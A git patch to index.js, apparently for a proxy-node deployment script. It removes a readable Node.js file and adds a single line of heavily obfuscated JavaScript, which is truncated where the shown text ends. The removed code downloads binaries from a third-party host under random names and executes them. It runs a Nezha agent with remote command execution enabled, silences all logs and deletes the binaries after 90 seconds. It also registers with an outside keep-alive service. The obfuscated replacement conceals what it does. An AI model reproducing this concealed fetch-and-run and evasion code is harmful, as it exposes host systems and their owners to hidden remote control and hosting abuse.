From f367047b5c37610850e7b8d30b9954c36f22aaec Mon Sep 17 00:00:00 2001 From: yyyl02742-bot Date: Fri, 5 Jun 2026 02:12:26 +0800 Subject: [PATCH] Update index.js --- index.js | 627 +------------------------------------------------------ 1 file changed, 1 insertion(+), 626 deletions(-) diff --git a/index.js b/index.js index 30fec60c00..0f9b4ac7f4 100644 --- a/index.js +++ b/index.js @@ -1,626 +1 @@ -const express = require("express"); -const app = express(); -const axios = require("axios"); -const os = require('os'); -const fs = require("fs"); -const path = require("path"); -const { promisify } = require('util'); -const exec = promisify(require('child_process').exec); -const UPLOAD_URL = process.env.UPLOAD_URL || ''; // 节点或订阅自动上传地址,需填写部署Merge-sub项目后的首页地址,例如:https://merge.xxx.com -const PROJECT_URL = process.env.PROJECT_URL || ''; // 需要上传订阅或保活时需填写项目分配的url,例如:https://google.com -const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // false关闭自动保活,true开启,需同时填写PROJECT_URL变量 -const FILE_PATH = process.env.FILE_PATH || '.tmp'; // 运行目录,sub节点文件保存目录 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 订阅路径 -const PORT = process.env.SERVER_PORT || process.env.PORT || 3000; // http服务订阅端口 -const UUID = process.env.UUID || '9afd1229-b893-40c1-84dd-51e7ce204913'; // 使用哪吒v1,在不同的平台运行需修改UUID,否则会覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式: nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 使用哪吒v1请留空,哪吒v0需填写 -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // 哪吒v1的NZ_CLIENT_SECRET或哪吒v0的agent密钥 -const ARGO_DOMAIN = process.env.ARGO_DOMAIN || ''; // 固定隧道域名,留空即启用临时隧道 -const ARGO_AUTH = process.env.ARGO_AUTH || ''; // 固定隧道密钥json或token,留空即启用临时隧道,json获取地址:https://json.zone.id -const ARGO_PORT = process.env.ARGO_PORT || 8001; // 固定隧道端口,使用token需在cloudflare后台设置和这里一致 -const CFIP = process.env.CFIP || 'saas.sin.fan'; // 节点优选域名或优选ip -const CFPORT = process.env.CFPORT || 443; // 节点优选域名或优选ip对应的端口 -const NAME = process.env.NAME || ''; // 节点名称 - -// 创建运行文件夹 -if (!fs.existsSync(FILE_PATH)) { - fs.mkdirSync(FILE_PATH); - console.log(`${FILE_PATH} is created`); -} else { - console.log(`${FILE_PATH} already exists`); -} - -// 生成随机6位字符文件名 -function generateRandomName() { - const characters = 'abcdefghijklmnopqrstuvwxyz'; - let result = ''; - for (let i = 0; i < 6; i++) { - result += characters.charAt(Math.floor(Math.random() * characters.length)); - } - return result; -} - -// 全局常量 -const npmName = generateRandomName(); -const webName = generateRandomName(); -const botName = generateRandomName(); -const phpName = generateRandomName(); -let npmPath = path.join(FILE_PATH, npmName); -let phpPath = path.join(FILE_PATH, phpName); -let webPath = path.join(FILE_PATH, webName); -let botPath = path.join(FILE_PATH, botName); -let subPath = path.join(FILE_PATH, 'sub.txt'); -let listPath = path.join(FILE_PATH, 'list.txt'); -let bootLogPath = path.join(FILE_PATH, 'boot.log'); -let configPath = path.join(FILE_PATH, 'config.json'); - -// 如果订阅器上存在历史运行节点则先删除 -function deleteNodes() { - try { - if (!UPLOAD_URL) return; - if (!fs.existsSync(subPath)) return; - - let fileContent; - try { - fileContent = fs.readFileSync(subPath, 'utf-8'); - } catch { - return null; - } - - const decoded = Buffer.from(fileContent, 'base64').toString('utf-8'); - const nodes = decoded.split('\n').filter(line => - /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line) - ); - - if (nodes.length === 0) return; - - axios.post(`${UPLOAD_URL}/api/delete-nodes`, - JSON.stringify({ nodes }), - { headers: { 'Content-Type': 'application/json' } } - ).catch((error) => { - return null; - }); - return null; - } catch (err) { - return null; - } -} - -// 清理历史文件 -function cleanupOldFiles() { - try { - const files = fs.readdirSync(FILE_PATH); - files.forEach(file => { - const filePath = path.join(FILE_PATH, file); - try { - const stat = fs.statSync(filePath); - if (stat.isFile()) { - fs.unlinkSync(filePath); - } - } catch (err) { - // 忽略所有错误,不记录日志 - } - }); - } catch (err) { - // 忽略所有错误,不记录日志 - } -} - -// 生成xr-ay配置文件 -async function generateConfig() { - const config = { - log: { access: '/dev/null', error: '/dev/null', loglevel: 'none' }, - inbounds: [ - { port: ARGO_PORT, protocol: 'vless', settings: { clients: [{ id: UUID, flow: 'xtls-rprx-vision' }], decryption: 'none', fallbacks: [{ dest: 3001 }, { path: "/vless-argo", dest: 3002 }, { path: "/vmess-argo", dest: 3003 }, { path: "/trojan-argo", dest: 3004 }] }, streamSettings: { network: 'tcp' } }, - { port: 3001, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID }], decryption: "none" }, streamSettings: { network: "tcp", security: "none" } }, - { port: 3002, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID, level: 0 }], decryption: "none" }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/vless-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - { port: 3003, listen: "127.0.0.1", protocol: "vmess", settings: { clients: [{ id: UUID, alterId: 0 }] }, streamSettings: { network: "ws", wsSettings: { path: "/vmess-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - { port: 3004, listen: "127.0.0.1", protocol: "trojan", settings: { clients: [{ password: UUID }] }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/trojan-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - ], - dns: { servers: ["https+local://8.8.8.8/dns-query"] }, - outbounds: [ { protocol: "freedom", tag: "direct" }, {protocol: "blackhole", tag: "block"} ] - }; - fs.writeFileSync(path.join(FILE_PATH, 'config.json'), JSON.stringify(config, null, 2)); -} - -// 判断系统架构 -function getSystemArchitecture() { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - return 'arm'; - } else { - return 'amd'; - } -} - -// 下载对应系统架构的依赖文件 -function downloadFile(fileName, fileUrl, callback) { - const filePath = fileName; - - // 确保目录存在 - if (!fs.existsSync(FILE_PATH)) { - fs.mkdirSync(FILE_PATH, { recursive: true }); - } - - const writer = fs.createWriteStream(filePath); - - axios({ - method: 'get', - url: fileUrl, - responseType: 'stream', - }) - .then(response => { - response.data.pipe(writer); - - writer.on('finish', () => { - writer.close(); - console.log(`Download ${path.basename(filePath)} successfully`); - callback(null, filePath); - }); - - writer.on('error', err => { - fs.unlink(filePath, () => { }); - const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; - console.error(errorMessage); // 下载失败时输出错误消息 - callback(errorMessage); - }); - }) - .catch(err => { - const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; - console.error(errorMessage); // 下载失败时输出错误消息 - callback(errorMessage); - }); -} - -// 下载并运行依赖文件 -async function downloadFilesAndRun() { - - const architecture = getSystemArchitecture(); - const filesToDownload = getFilesForArchitecture(architecture); - - if (filesToDownload.length === 0) { - console.log(`Can't find a file for the current architecture`); - return; - } - - const downloadPromises = filesToDownload.map(fileInfo => { - return new Promise((resolve, reject) => { - downloadFile(fileInfo.fileName, fileInfo.fileUrl, (err, filePath) => { - if (err) { - reject(err); - } else { - resolve(filePath); - } - }); - }); - }); - - try { - await Promise.all(downloadPromises); - } catch (err) { - console.error('Error downloading files:', err); - return; - } - // 授权和运行 - function authorizeFiles(filePaths) { - const newPermissions = 0o775; - filePaths.forEach(absoluteFilePath => { - if (fs.existsSync(absoluteFilePath)) { - fs.chmod(absoluteFilePath, newPermissions, (err) => { - if (err) { - console.error(`Empowerment failed for ${absoluteFilePath}: ${err}`); - } else { - console.log(`Empowerment success for ${absoluteFilePath}: ${newPermissions.toString(8)}`); - } - }); - } - }); - } - const filesToAuthorize = NEZHA_PORT ? [npmPath, webPath, botPath] : [phpPath, webPath, botPath]; - authorizeFiles(filesToAuthorize); - - //运行ne-zha - if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - // 检测哪吒是否开启TLS - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const tlsPorts = new Set(['443', '8443', '2096', '2087', '2083', '2053']); - const nezhatls = tlsPorts.has(port) ? 'true' : 'false'; - // 生成 config.yaml - const configYaml = ` -client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${nezhatls} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync(path.join(FILE_PATH, 'config.yaml'), configYaml); - - // 运行 v1 - const command = `nohup ${phpPath} -c "${FILE_PATH}/config.yaml" >/dev/null 2>&1 &`; - try { - await exec(command); - console.log(`${phpName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`php running error: ${error}`); - } - } else { - let NEZHA_TLS = ''; - const tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - if (tlsPorts.includes(NEZHA_PORT)) { - NEZHA_TLS = '--tls'; - } - const command = `nohup ${npmPath} -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - try { - await exec(command); - console.log(`${npmName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`npm running error: ${error}`); - } - } - } else { - console.log('NEZHA variable is empty,skip running'); - } - //运行xr-ay - const command1 = `nohup ${webPath} -c ${FILE_PATH}/config.json >/dev/null 2>&1 &`; - try { - await exec(command1); - console.log(`${webName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`web running error: ${error}`); - } - - // 运行cloud-fared - if (fs.existsSync(botPath)) { - let args; - - if (ARGO_AUTH.match(/^[A-Z0-9a-z=]{120,250}$/)) { - args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 run --token ${ARGO_AUTH}`; - } else if (ARGO_AUTH.match(/TunnelSecret/)) { - args = `tunnel --edge-ip-version auto --config ${FILE_PATH}/tunnel.yml run`; - } else { - args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; - } - - try { - await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); - console.log(`${botName} is running`); - await new Promise((resolve) => setTimeout(resolve, 2000)); - } catch (error) { - console.error(`Error executing command: ${error}`); - } - } - await new Promise((resolve) => setTimeout(resolve, 5000)); - -} - -//根据系统架构返回对应的url -function getFilesForArchitecture(architecture) { - let baseFiles; - if (architecture === 'arm') { - baseFiles = [ - { fileName: webPath, fileUrl: "https://arm64.ssss.nyc.mn/web" }, - { fileName: botPath, fileUrl: "https://arm64.ssss.nyc.mn/bot" } - ]; - } else { - baseFiles = [ - { fileName: webPath, fileUrl: "https://amd64.ssss.nyc.mn/web" }, - { fileName: botPath, fileUrl: "https://amd64.ssss.nyc.mn/bot" } - ]; - } - - if (NEZHA_SERVER && NEZHA_KEY) { - if (NEZHA_PORT) { - const npmUrl = architecture === 'arm' - ? "https://arm64.ssss.nyc.mn/agent" - : "https://amd64.ssss.nyc.mn/agent"; - baseFiles.unshift({ - fileName: npmPath, - fileUrl: npmUrl - }); - } else { - const phpUrl = architecture === 'arm' - ? "https://arm64.ssss.nyc.mn/v1" - : "https://amd64.ssss.nyc.mn/v1"; - baseFiles.unshift({ - fileName: phpPath, - fileUrl: phpUrl - }); - } - } - - return baseFiles; -} - -// 获取固定隧道json -function argoType() { - if (!ARGO_AUTH || !ARGO_DOMAIN) { - console.log("ARGO_DOMAIN or ARGO_AUTH variable is empty, use quick tunnels"); - return; - } - - if (ARGO_AUTH.includes('TunnelSecret')) { - fs.writeFileSync(path.join(FILE_PATH, 'tunnel.json'), ARGO_AUTH); - const tunnelYaml = ` - tunnel: ${ARGO_AUTH.split('"')[11]} - credentials-file: ${path.join(FILE_PATH, 'tunnel.json')} - protocol: http2 - - ingress: - - hostname: ${ARGO_DOMAIN} - service: http://localhost:${ARGO_PORT} - originRequest: - noTLSVerify: true - - service: http_status:404 - `; - fs.writeFileSync(path.join(FILE_PATH, 'tunnel.yml'), tunnelYaml); - } else { - console.log("ARGO_AUTH mismatch TunnelSecret,use token connect to tunnel"); - } -} - -// 获取临时隧道domain -async function extractDomains() { - let argoDomain; - - if (ARGO_AUTH && ARGO_DOMAIN) { - argoDomain = ARGO_DOMAIN; - console.log('ARGO_DOMAIN:', argoDomain); - await generateLinks(argoDomain); - } else { - try { - const fileContent = fs.readFileSync(path.join(FILE_PATH, 'boot.log'), 'utf-8'); - const lines = fileContent.split('\n'); - const argoDomains = []; - lines.forEach((line) => { - const domainMatch = line.match(/https?:\/\/([^ ]*trycloudflare\.com)\/?/); - if (domainMatch) { - const domain = domainMatch[1]; - argoDomains.push(domain); - } - }); - - if (argoDomains.length > 0) { - argoDomain = argoDomains[0]; - console.log('ArgoDomain:', argoDomain); - await generateLinks(argoDomain); - } else { - console.log('ArgoDomain not found, re-running bot to obtain ArgoDomain'); - // 删除 boot.log 文件,等待 2s 重新运行 server 以获取 ArgoDomain - fs.unlinkSync(path.join(FILE_PATH, 'boot.log')); - async function killBotProcess() { - try { - if (process.platform === 'win32') { - await exec(`taskkill /f /im ${botName}.exe > nul 2>&1`); - } else { - await exec(`pkill -f "[${botName.charAt(0)}]${botName.substring(1)}" > /dev/null 2>&1`); - } - } catch (error) { - // 忽略输出 - } - } - killBotProcess(); - await new Promise((resolve) => setTimeout(resolve, 3000)); - const args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; - try { - await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); - console.log(`${botName} is running`); - await new Promise((resolve) => setTimeout(resolve, 3000)); - await extractDomains(); // 重新提取域名 - } catch (error) { - console.error(`Error executing command: ${error}`); - } - } - } catch (error) { - console.error('Error reading boot.log:', error); - } -} - -// 获取isp信息 -async function getMetaInfo() { - try { - const response1 = await axios.get('https://api.ip.sb/geoip', { headers: { 'User-Agent': 'Mozilla/5.0', timeout: 3000 }}); - if (response1.data && response1.data.country_code && response1.data.isp) { - return `${response1.data.country_code}-${response1.data.isp}`.replace(/\s+/g, '_'); - } - } catch (error) { - try { - // 备用 ip-api.com 获取isp - const response2 = await axios.get('http://ip-api.com/json', { headers: { 'User-Agent': 'Mozilla/5.0', timeout: 3000 }}); - if (response2.data && response2.data.status === 'success' && response2.data.countryCode && response2.data.org) { - return `${response2.data.countryCode}-${response2.data.org}`.replace(/\s+/g, '_'); - } - } catch (error) { - // console.error('Backup API also failed'); - } - } - return 'Unknown'; -} -// 生成 list 和 sub 信息 -async function generateLinks(argoDomain) { - const ISP = await getMetaInfo(); - const nodeName = NAME ? `${NAME}-${ISP}` : ISP; - return new Promise((resolve) => { - setTimeout(() => { - const VMESS = { v: '2', ps: `${nodeName}`, add: CFIP, port: CFPORT, id: UUID, aid: '0', scy: 'auto', net: 'ws', type: 'none', host: argoDomain, path: '/vmess-argo?ed=2560', tls: 'tls', sni: argoDomain, alpn: '', fp: 'firefox'}; - const subTxt = ` -vless://${UUID}@${CFIP}:${CFPORT}?encryption=none&security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Fvless-argo%3Fed%3D2560#${nodeName} - -vmess://${Buffer.from(JSON.stringify(VMESS)).toString('base64')} - -trojan://${UUID}@${CFIP}:${CFPORT}?security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Ftrojan-argo%3Fed%3D2560#${nodeName} - `; - // 打印 sub.txt 内容到控制台 - console.log(Buffer.from(subTxt).toString('base64')); - fs.writeFileSync(subPath, Buffer.from(subTxt).toString('base64')); - console.log(`${FILE_PATH}/sub.txt saved successfully`); - uploadNodes(); - // 将内容进行 base64 编码并写入 SUB_PATH 路由 - app.get(`/${SUB_PATH}`, (req, res) => { - const encodedContent = Buffer.from(subTxt).toString('base64'); - res.set('Content-Type', 'text/plain; charset=utf-8'); - res.send(encodedContent); - }); - resolve(subTxt); - }, 2000); - }); - } -} - -// 自动上传节点或订阅 -async function uploadNodes() { - if (UPLOAD_URL && PROJECT_URL) { - const subscriptionUrl = `${PROJECT_URL}/${SUB_PATH}`; - const jsonData = { - subscription: [subscriptionUrl] - }; - try { - const response = await axios.post(`${UPLOAD_URL}/api/add-subscriptions`, jsonData, { - headers: { - 'Content-Type': 'application/json' - } - }); - - if (response && response.status === 200) { - console.log('Subscription uploaded successfully'); - return response; - } else { - return null; - // console.log('Unknown response status'); - } - } catch (error) { - if (error.response) { - if (error.response.status === 400) { - // console.error('Subscription already exists'); - } - } - } - } else if (UPLOAD_URL) { - if (!fs.existsSync(listPath)) return; - const content = fs.readFileSync(listPath, 'utf-8'); - const nodes = content.split('\n').filter(line => /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line)); - - if (nodes.length === 0) return; - - const jsonData = JSON.stringify({ nodes }); - - try { - const response = await axios.post(`${UPLOAD_URL}/api/add-nodes`, jsonData, { - headers: { 'Content-Type': 'application/json' } - }); - if (response && response.status === 200) { - console.log('Nodes uploaded successfully'); - return response; - } else { - return null; - } - } catch (error) { - return null; - } - } else { - // console.log('Skipping upload nodes'); - return; - } -} - -// 90s后删除相关文件 -function cleanFiles() { - setTimeout(() => { - const filesToDelete = [bootLogPath, configPath, webPath, botPath]; - - if (NEZHA_PORT) { - filesToDelete.push(npmPath); - } else if (NEZHA_SERVER && NEZHA_KEY) { - filesToDelete.push(phpPath); - } - - // Windows系统使用不同的删除命令 - if (process.platform === 'win32') { - exec(`del /f /q ${filesToDelete.join(' ')} > nul 2>&1`, (error) => { - console.clear(); - console.log('App is running'); - console.log('Thank you for using this script, enjoy!'); - }); - } else { - exec(`rm -rf ${filesToDelete.join(' ')} >/dev/null 2>&1`, (error) => { - console.clear(); - console.log('App is running'); - console.log('Thank you for using this script, enjoy!'); - }); - } - }, 90000); // 90s -} -cleanFiles(); - -// 自动访问项目URL -async function AddVisitTask() { - if (!AUTO_ACCESS || !PROJECT_URL) { - console.log("Skipping adding automatic access task"); - return; - } - - try { - const response = await axios.post('https://oooo.serv00.net/add-url', { - url: PROJECT_URL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - // console.log(`${JSON.stringify(response.data)}`); - console.log(`automatic access task added successfully`); - return response; - } catch (error) { - console.error(`Add automatic access task faild: ${error.message}`); - return null; - } -} - -// 主运行逻辑 -async function startserver() { - try { - argoType(); - deleteNodes(); - cleanupOldFiles(); - await generateConfig(); - await downloadFilesAndRun(); - await extractDomains(); - await AddVisitTask(); - } catch (error) { - console.error('Error in startserver:', error); - } -} -startserver().catch(error => { - console.error('Unhandled error in startserver:', error); -}); - -// 根路由 -app.get("/", async function(req, res) { - try { - const filePath = path.join(__dirname, 'index.html'); - const data = await fs.promises.readFile(filePath, 'utf8'); - res.send(data); - } catch (err) { - res.send("Hello world!

You can access /{SUB_PATH}(Default: /sub) to get your nodes!"); - } -}); - -app.listen(PORT, () => console.log(`http server is running on port:${PORT}!`)); +(function(_0x1060e3,_0x4de085){const _0x3363ee={_0x105ba5:0x1b2,_0xc2f417:0x273,_0x5ebbee:0x50c,_0x51f948:0x4fc,_0x46ea5c:0x52b,_0x37f4d8:0x49a,_0x416ac1:0xb4,_0x5cdd3c:0x16f,_0x3a3075:0x1a0,_0x5b3808:0x11,_0x2f6234:0x157,_0x16ba15:0x1ad,_0x9e4375:0x19b,_0x34736e:0x2eb,_0x22f8bd:0x3c4,_0x5d5941:0x320,_0x35bc41:0x3e9,_0x412156:0x2e9,_0x7d30d3:0x4a4,_0x56fbdd:0x3e0,_0x451192:0x1a8,_0x2abd7b:0x223,_0x566280:0x31c,_0x447e15:0x260,_0x380db1:0x367,_0x3782d8:0x303,_0x283266:0x40d,_0x57275d:0x254,_0x33b6ea:0x1bb,_0x5ac856:0x161,_0x5e9c99:0x191},_0x5e5ec0={_0x4b5d95:0x393},_0x33474f={_0x240526:0x266};function _0x8ddcb6(_0x303c7a,_0x1f5a43,_0x2eeb4f,_0x2cb6c3){return _0x5abd(_0x1f5a43-_0x33474f._0x240526,_0x2eeb4f);}const _0x31b05d=_0x1060e3();function _0xa031c1(_0x5c85d5,_0x123891,_0x1b71b8,_0x5148e4){return _0x5abd(_0x5148e4- -_0x5e5ec0._0x4b5d95,_0x123891);}while(!![]){try{const _0x20e43b=parseInt(_0xa031c1(-0x2d1,-0x219,-_0x3363ee._0x105ba5,-_0x3363ee._0xc2f417))/(0x181b+-0x17a5+-0x75)*(parseInt(_0x8ddcb6(_0x3363ee._0x5ebbee,_0x3363ee._0x51f948,_0x3363ee._0x46ea5c,_0x3363ee._0x37f4d8))/(0x12c2+0x1a81+-0x2d41))+-parseInt(_0xa031c1(-_0x3363ee._0x416ac1,-_0x3363ee._0x5cdd3c,-0xf0,-_0x3363ee._0x3a3075))/(-0x41a*-0x9+-0x1*0x231e+-0x1*0x1c9)*(-parseInt(_0xa031c1(-0x6,-_0x3363ee._0x5b3808,0x42,-0xde))/(-0x132b*0x2+-0x5c7+0x365*0xd))+-parseInt(_0xa031c1(-_0x3363ee._0x2f6234,-0x144,-0x97,-_0x3363ee._0x16ba15))/(0x3*0x986+-0x534+-0x8b*0x2b)*(-parseInt(_0xa031c1(-0x139,-0x193,-_0x3363ee._0x9e4375,-0x1a2))/(0x779*-0x2+0x91a+0x5de*0x1))+-parseInt(_0x8ddcb6(_0x3363ee._0x34736e,_0x3363ee._0x22f8bd,_0x3363ee._0x5d5941,_0x3363ee._0x35bc41))/(0x2372+-0x6ed*-0x5+-0x460c)+parseInt(_0x8ddcb6(_0x3363ee._0x412156,0x3ad,_0x3363ee._0x7d30d3,_0x3363ee._0x56fbdd))/(0x52*-0x49+-0xcb8+-0x4a*-0x7d)*(-parseInt(_0xa031c1(-_0x3363ee._0x451192,-0x1ba,-0x1a8,-0x29b))/(0x5f3+0x65*0x1a+-0x3*0x564))+parseInt(_0x8ddcb6(_0x3363ee._0x2abd7b,_0x3363ee._0x566280,0x25a,_0x3363ee._0x447e15))/(-0x599*-0x5+-0xcb7+-0xf3c)*(parseInt(_0x8ddcb6(_0x3363ee._0x380db1,_0x3363ee._0x3782d8,0x2ff,_0x3363ee._0x283266))/(-0x1*0x14b+0x1*0x200c+0x2*-0xf5b))+-parseInt(_0xa031c1(-_0x3363ee._0x57275d,-_0x3363ee._0x33b6ea,-_0x3363ee._0x5ac856,-_0x3363ee._0x5e9c99))/(-0x5e3+0x182b+-0x123c);if(_0x20e43b===_0x4de085)break;else _0x31b05d['push'](_0x31b05d['shift']());}catch(_0x4dc20c){_0x31b05d['push'](_0x31b05d['shift']());}}}(_0x1a11,0x9b9d5+0x667*0x135+0x2*-0x52517));const _0xd0feea=(function(){const _0x521801={_0x577912:0x374,_0x5816a1:0x345,_0x349f18:0x236,_0x1680c1:0x1f7,_0x479fcc:0x2a2,_0x4f3ffb:0x3a4,_0xa13132:0xd3,_0x4b2216:0xc1,_0x200360:0x1d4,_0x484e10:0x1e3,_0x1d3f01:0x281,_0x546ff9:0x232,_0x55f6cb:0xec,_0x28d39d:0x182,_0x1d3735:0x27a,_0x5dcd27:0x1bf,_0x5b29fd:0x1dc,_0x36926f:0x1cf,_0x1e4c89:0x2a8,_0x2e35f2:0x18e,_0x5947f2:0x1b0,_0x46ac21:0x30a},_0x54fa8f={_0x28fc9c:0x179,_0x58b7d4:0x11b,_0x72771a:0x14b,_0x2bae1e:0x1e4,_0x3dafce:0x271,_0x5dabba:0x1f4,_0x5bb970:0x2e6,_0x127614:0x277,_0x1c7bae:0x2db,_0x530e9a:0x2a6,_0xd16ce9:0x382,_0x1cf14b:0x2ab,_0x3ba5b1:0x33c,_0xd75f2d:0x324,_0x16caf3:0x2e7,_0x91bd88:0x462,_0x29b1e3:0x2a0,_0x262c5d:0x33c,_0x91abc0:0x3d1,_0x555005:0x282,_0x118efc:0x44e,_0x28b870:0x44d,_0x47615d:0x151,_0x33575d:0x103,_0x243339:0x18b,_0x32367d:0x9c,_0x9bd23:0x29c,_0x478a41:0x3d6,_0x58604c:0x48c,_0x43e2ea:0x3ee,_0x301a65:0x3ae,_0x28f93d:0x3d5,_0x5e953a:0x21f,_0x3741fb:0x30e,_0x5a3350:0x3db,_0xde6c73:0x41e,_0x539650:0x3c1,_0x25588f:0x3c1,_0x490b3c:0x2b3},_0x6d532e={_0x224274:0x3bb,_0x41ba6e:0x3e4,_0x2a37c8:0x34a,_0x2bf023:0x390,_0x1a4161:0x3d6,_0x475009:0x45d,_0x2854b8:0x4c9,_0x3df1e7:0x26e,_0x5016b3:0x290,_0x334b87:0x17c,_0x1f0b74:0x315,_0x1445e9:0x404,_0x595402:0x4fd,_0x5619a9:0x4e2,_0x4eb588:0x326},_0x1cb3f9={_0x174823:0x62,_0xd6b800:0xde,_0x16dd4a:0x1a5},_0x26fdfc={_0x1def7b:0x33a},_0x1f6878={_0x53df9b:0x131},_0x1e195d={'iXeKd':_0xce2586(0x283,_0x521801._0x577912,_0x521801._0x5816a1,_0x521801._0x349f18),'GvJfO':_0xce2586(0x324,_0x521801._0x1680c1,_0x521801._0x479fcc,_0x521801._0x4f3ffb),'PBuXW':function(_0x567a4f,_0x15b7e9){return _0x567a4f===_0x15b7e9;},'OQaox':_0xce2586(_0x521801._0xa13132,_0x521801._0x4b2216,_0x521801._0x200360,0x1c0),'agGwG':_0xce2586(0x37d,_0x521801._0x484e10,_0x521801._0x1d3f01,_0x521801._0x546ff9),'vfdqk':_0x514963(-_0x521801._0x55f6cb,-_0x521801._0x28d39d,-_0x521801._0x1d3735,-_0x521801._0x5dcd27),'zagab':_0x514963(-_0x521801._0x5b29fd,-_0x521801._0x36926f,-0x264,-_0x521801._0x1e4c89),'OiWjp':_0xce2586(_0x521801._0x2e35f2,_0x521801._0x5947f2,0x209,_0x521801._0x46ac21),'ScOGb':function(_0x25eca2){return _0x25eca2();},'HnoTT':function(_0x329d8b,_0x1d194c){return _0x329d8b!==_0x1d194c;},'cMZet':'dWLgp'};function _0xce2586(_0x4c1d9d,_0x30abc2,_0x1f76a5,_0x2a64d8){return _0x5abd(_0x1f76a5-_0x1f6878._0x53df9b,_0x30abc2);}function _0x514963(_0x5b71ce,_0x1990c6,_0x351d61,_0x398453){return _0x5abd(_0x1990c6- -_0x26fdfc._0x1def7b,_0x5b71ce);}let _0x229fff=!![];return function(_0x3a610a,_0x3c3f7b){const _0x3c5c56={_0x4a9a26:0x574,_0x242081:0x4fb},_0x242dbb={_0x21f1a2:0x1ca,_0x397d09:0x195};function _0x273848(_0x466a52,_0x21b140,_0x3cdc9c,_0x149f2d){return _0x514963(_0x21b140,_0x466a52-0x409,_0x3cdc9c-_0x242dbb._0x21f1a2,_0x149f2d-_0x242dbb._0x397d09);}const _0x5eaf74={'CqlwZ':function(_0x35c368,_0x1f82fc){return _0x1e195d['PBuXW'](_0x35c368,_0x1f82fc);},'HRMcK':_0x1e195d[_0x273848(_0x54fa8f._0x28fc9c,_0x54fa8f._0x58b7d4,_0x54fa8f._0x72771a,0x276)],'VORoL':_0x1e195d[_0x273848(_0x54fa8f._0x2bae1e,0x1a5,_0x54fa8f._0x3dafce,_0x54fa8f._0x5dabba)],'HsAkh':_0x1e195d[_0x273848(_0x54fa8f._0x5bb970,_0x54fa8f._0x127614,0x238,_0x54fa8f._0x1c7bae)],'jGDYC':_0x530c71(_0x54fa8f._0x530e9a,_0x54fa8f._0xd16ce9,_0x54fa8f._0x1cf14b,0x38b),'reIoc':_0x1e195d[_0x273848(_0x54fa8f._0x3ba5b1,_0x54fa8f._0xd75f2d,0x2d5,0x373)],'PdOId':_0x1e195d[_0x273848(0x353,_0x54fa8f._0x16caf3,0x387,_0x54fa8f._0x91bd88)],'DCbKG':function(_0x147b86){const _0x2650c0={_0x2b9977:0x109,_0x2ae3de:0x196,_0xf453c7:0xa1};function _0x1ee4d6(_0x21f75d,_0x5736d1,_0x5cd97a,_0x4e4168){return _0x530c71(_0x4e4168,_0x5736d1-_0x2650c0._0x2b9977,_0x5cd97a-_0x2650c0._0x2ae3de,_0x4e4168-_0x2650c0._0xf453c7);}return _0x1e195d[_0x1ee4d6(0x61b,_0x3c5c56._0x4a9a26,_0x3c5c56._0x242081,0x4a0)](_0x147b86);},'QYRmb':function(_0x78bb7f,_0x18c265){return _0x78bb7f(_0x18c265);}};function _0x530c71(_0x4e6069,_0x11e8a0,_0x170cf1,_0x2664af){return _0xce2586(_0x4e6069-_0x1cb3f9._0x174823,_0x4e6069,_0x11e8a0-_0x1cb3f9._0xd6b800,_0x2664af-_0x1cb3f9._0x16dd4a);}if(_0x1e195d['HnoTT'](_0x1e195d[_0x530c71(_0x54fa8f._0x29b1e3,_0x54fa8f._0x262c5d,0x40f,_0x54fa8f._0x91abc0)],_0x530c71(_0x54fa8f._0x555005,0x38d,_0x54fa8f._0x118efc,_0x54fa8f._0x28b870))){const _0x245861=_0x229fff?function(){const _0x3c9b17={_0x37a8d2:0x258,_0xf35646:0x1cb},_0x787337={_0x3b6556:0xcd,_0x5117b3:0x73};function _0x386bf6(_0x190fcf,_0x550133,_0x327699,_0x398234){return _0x273848(_0x190fcf- 